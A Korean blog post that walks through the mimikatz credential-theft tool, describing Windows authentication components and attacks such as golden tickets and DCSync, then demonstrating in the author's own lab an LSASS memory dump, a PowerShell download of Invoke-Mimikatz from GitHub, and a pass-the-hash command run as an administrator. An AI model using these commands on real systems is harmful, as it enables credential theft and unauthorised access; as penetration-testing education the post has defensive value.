외로운 Nova의 작업실

mimikatz - 1(설치 및 LSASS 메모리 덤프, hash-the-pass) 본문

Server Penetesting/Hacking Tool

mimikatz - 1(설치 및 LSASS 메모리 덤프, hash-the-pass)

Nova_ 2023. 4. 4. 18:16

- 설치

https://github.com/ParrotSec/mimikatz

 

GitHub - ParrotSec/mimikatz

Contribute to ParrotSec/mimikatz development by creating an account on GitHub.

github.com

위 사이트로 들어가서 다운로드하면됩니다.

 

- 개요

Mimikatz는 사용자가 메모리 또는 Windows 운영 체제에서 암호, 해시 및 Kerberos 티켓과 같은 인증 자격 증명을 추출할 수 있는 악용 후 도구입니다. 원래 Windows 운영 체제의 보안 취약점을 입증하기 위한 개념 증명 도구로 개발되었지만 현재는 공격자와 보안 전문가 모두가 보안 평가 및 침투 테스트를 수행하는 데 일반적으로 사용됩니다. Mimikatz를 사용하면 공격자는 인증 메커니즘을 우회하고 대상 시스템의 중요한 리소스에 액세스할 수 있는 pass-the-hash, pass-the-ticket 및 골든 티켓 공격과 같은 다양한 공격을 수행할 수 있습니다.

 

- 관련 용어

  • MSV : MSV는 "Microsoft 보안 지원 공급자 인터페이스"를 나타냅니다. 시스템에 대한 인증 서비스를 제공하는 Windows 운영 체제의 보안 지원 제공자 인터페이스입니다. MSV는 인증 및 보안 프로토콜에 사용되는 보안 패키지를 관리합니다. 보안 패키지는 동적으로 로드되며 NTLM 및 Kerberos와 같은 다양한 인증 방법을 지원합니다. MSV는 보안 패키지 관리 외에도 시스템에서 보안 정책을 시행하는 LSA(Local Security Authority) 프로세스도 관리합니다. MSV는 LSA 프로세스와 통신하여 사용자를 인증하고 암호 정책 및 계정 잠금 정책과 같은 보안 정책을 시행합니다. MSV는 Windows 보안 인프라의 중요한 구성 요소이며 MSV와 관련된 모든 문제는 심각한 보안 영향을 미칠 수 있습니다.
  • TSPKG : TSPKG는 "운송 보안 패키지"를 의미합니다. TCP/IP, 명명된 파이프 및 IPX/SPX와 같은 다양한 전송을 통한 RPC(원격 프로시저 호출)에 대해 인증 및 암호화와 같은 전송 수준 보안을 제공하는 Microsoft Windows 운영 체제의 보안 패키지입니다. TSPKG는 네트워크를 통해 전송되는 민감한 데이터를 보호하는 데 사용되며 세션이 설정되기 전에 클라이언트와 서버 모두를 인증하는 역할을 합니다. TSPKG는 일반적으로 클라이언트와 서버 간의 보안 통신을 위해 Microsoft RDP(원격 데스크톱 프로토콜) 및 Windows 터미널 서비스에서 사용됩니다.
  • wdigest : Wdigest는 Windows 운영 체제의 인증 프로세스에 사용되는 보안 프로토콜입니다. SSO(Single Sign-On) 및 기타 목적을 위해 사용자의 일반 텍스트 암호를 메모리에 저장하고 액세스를 제공하는 역할을 합니다. Wdigest는 LSASS(Local Security Authority Subsystem Service) 프로세스의 일부로 사용되며 Windows 시스템에서 기본적으로 활성화됩니다. 그러나 보안 취약성으로 인해 Windows 10에서는 더 이상 사용되지 않으며 Credential Guard로 대체되었습니다. 이전 시스템에서 공격자는 Mimikatz와 같은 도구를 사용하여 Wdigest 프로토콜을 통해 메모리에서 일반 텍스트 암호를 추출할 수 있습니다.
  • ssp : SSP는 인증 및 보안 통신 서비스를 제공하는 Windows 운영 체제의 구성 요소인 Security Support Provider를 나타냅니다. SSP는 인증 및 암호화를 위해 Kerberos 및 NTLM과 같은 보안 프로토콜을 구현합니다. SSP는 SAM(보안 계정 관리자) 및 LSA(로컬 보안 기관)와 같은 다른 보안 구성 요소와 함께 작동하여 사용자를 인증하고 보안 통신 채널을 설정합니다. SSP는 RDP(원격 데스크톱 프로토콜), IIS(인터넷 정보 서비스) 및 AD DS(Active Directory 도메인 서비스)를 비롯한 다양한 Windows 서비스 및 프로토콜에서 사용됩니다.
  • credman : 'Credman'은 "Credential Manager"의 약자이며 사용자 이름, 암호 및 기타 로그인 정보와 같은 사용자 자격 증명을 안전하게 저장하는 Windows 서비스입니다. 자격 증명 관리자를 통해 Windows는 공유 드라이브 또는 원격 서버와 같은 네트워크 리소스에 액세스할 때 이러한 자격 증명을 자동으로 검색하고 사용할 수 있습니다. 이는 네트워크 리소스에 자주 연결하고 해당 리소스에 액세스할 때마다 로그인 정보를 수동으로 입력하지 않으려는 사용자에게 유용할 수 있습니다. Credman은 NTLM 및 Kerberos를 비롯한 여러 Windows 인증 프로토콜에서 사용됩니다. 공격자는 Credential Manager를 잠재적인 약점으로 삼아 Mimikatz와 같은 도구를 사용하여 저장된 자격 증명을 추출하려고 시도할 수 있습니다. 따라서 중요한 데이터에 대한 무단 액세스를 방지하기 위해 시스템과 Credential Manager를 안전하게 유지하는 것이 중요합니다.

 

- 기능

Mimikatz는 Windows 시스템에서 다양한 악용 후 작업을 수행하기 위한 다목적 도구입니다. Mimikatz로 할 수 있는 다른 작업은 다음과 같습니다.

  • LSASS 메모리 덤프: 이 명령은 LSASS(Local Security Authority Subsystem Service) 프로세스의 메모리에서 암호, 해시 및 Kerberos 티켓과 같은 자격 증명을 추출합니다.
  • Pass-the-Hash: 이 기술을 사용하면 공격자가 실제 암호를 모르더라도 사용자 암호의 해시를 사용하여 원격 시스템에 인증할 수 있습니다.
  • Pass-the-Ticket: 이 기술을 사용하면 공격자가 실제 사용자의 암호를 모르더라도 Kerberos 티켓을 사용하여 원격 시스템에 인증할 수 있습니다.
  • 골든 티켓: 이 기술을 사용하면 공격자가 도메인의 모든 리소스에 액세스하는 데 사용할 수 있는 위조된 Kerberos TGT(Ticket Granting Ticket)를 만들 수 있습니다.
  • 실버 티켓: 이 기술을 사용하면 공격자가 도메인의 특정 리소스에 대한 액세스 권한을 얻는 데 사용할 수 있는 위조된 Kerberos 서비스 티켓을 만들 수 있습니다.
  • 스켈레톤 키: 이 기술을 사용하면 공격자가 가짜 암호를 도메인 컨트롤러의 메모리에 주입하여 도메인의 모든 사용자에 대한 암호 인증을 효과적으로 우회할 수 있습니다.
  • DCSync: 이 기술을 사용하면 관리 권한이 있는 공격자가 도메인 컨트롤러에서 암호 데이터를 복제하여 도메인의 자격 증명 데이터베이스에 효과적으로 액세스할 수 있습니다.

 

- LSASS 메모리 덤프

mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords

 

실제 비밀번호가 설정된 Nova에게서 비밀번호는 나오지 않았습니다. UseLogonCredential 레지스트리 설정후에도 동일합니다. 윈도우 서버 2012를 깔고 해도 동일합니다. 아마 윈도우에서 패치한것 같습니다. window 7을 다시 깔고 해보겠습니다.

window7에서는 잘 mimikatz가 잘 되는 것을 확인할 수 있습니다.

 

- Pass-the-Hash

Pass-the-Hash는 패스워드값이 아닌 패스워드의 해시값을 사용해서 자격증명을 하는 방식입니다. 우리는 로그인 할때 아이디와 비밀번호를 치지만 Pass-the-Hash 기능을 이용하면 아이디와 해시값을 사용해서 로그인할 수 있습니다. 일단 먼저 hash값을 알아야하기때문에 위에서 배운  LSASS 메모리 덤프를 사용해야합니다. 이를 사용하려면 관리자가 컴퓨터가 켜져있는 상태로 로그인해야합니다. 아래는 이번에 사용할 사용자들입니다. 환경은 windows 10입니다.

  • 관리자 : novaadm1n@@
  • 사용자 : Nova

Nova에서 관리자의 shell을 따보겠습니다. 먼저 관리자로 로그인을 했다면, 로그아웃을 하고 Nova로 로그인을 합니다. 이후 LSASS 메모리 덤프를 실행합니다.

위 사진에서User name과 NTLM 값을 적어놓습니다. 이후 파워쉘을 실행하고 mimikatz 파워쉘 스크립트를 아래와 같은 명령어로 다운로드합니다.

Invoke-WebRequest -Uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -OutFile Invoke-Mimikatz.ps1

그러면 경로에 파일이 생긴 것을 확인할 수 있습니다.

이후 실제 hash-the-pass를 하는 아래 명령어를 실행합니다.

invoke-mimikatz -command '"sekurlsa::pth /user:NovaAdm1n@@/domain:PC-6 /ntlm:de26cce0356891a4a020e7c******** /run:powershell.exe"'

이후 whoami 명령어를 실행합니다.

nova 계정에서 novaadm1n@@ 계정의 스크립트를 실행한 것을 확인할 수 있습니다.

'Server Penetesting > Hacking Tool' 카테고리의 다른 글

hydra - 간단 사용법  (0) 2023.04.15
gobuster 기본 명령어  (0) 2023.04.10
Network Connection(nc)  (0) 2023.03.29
nmap - IDS 우회 기술  (0) 2023.03.13
nmap - 방화벽 우회 기술  (0) 2023.03.13
Comments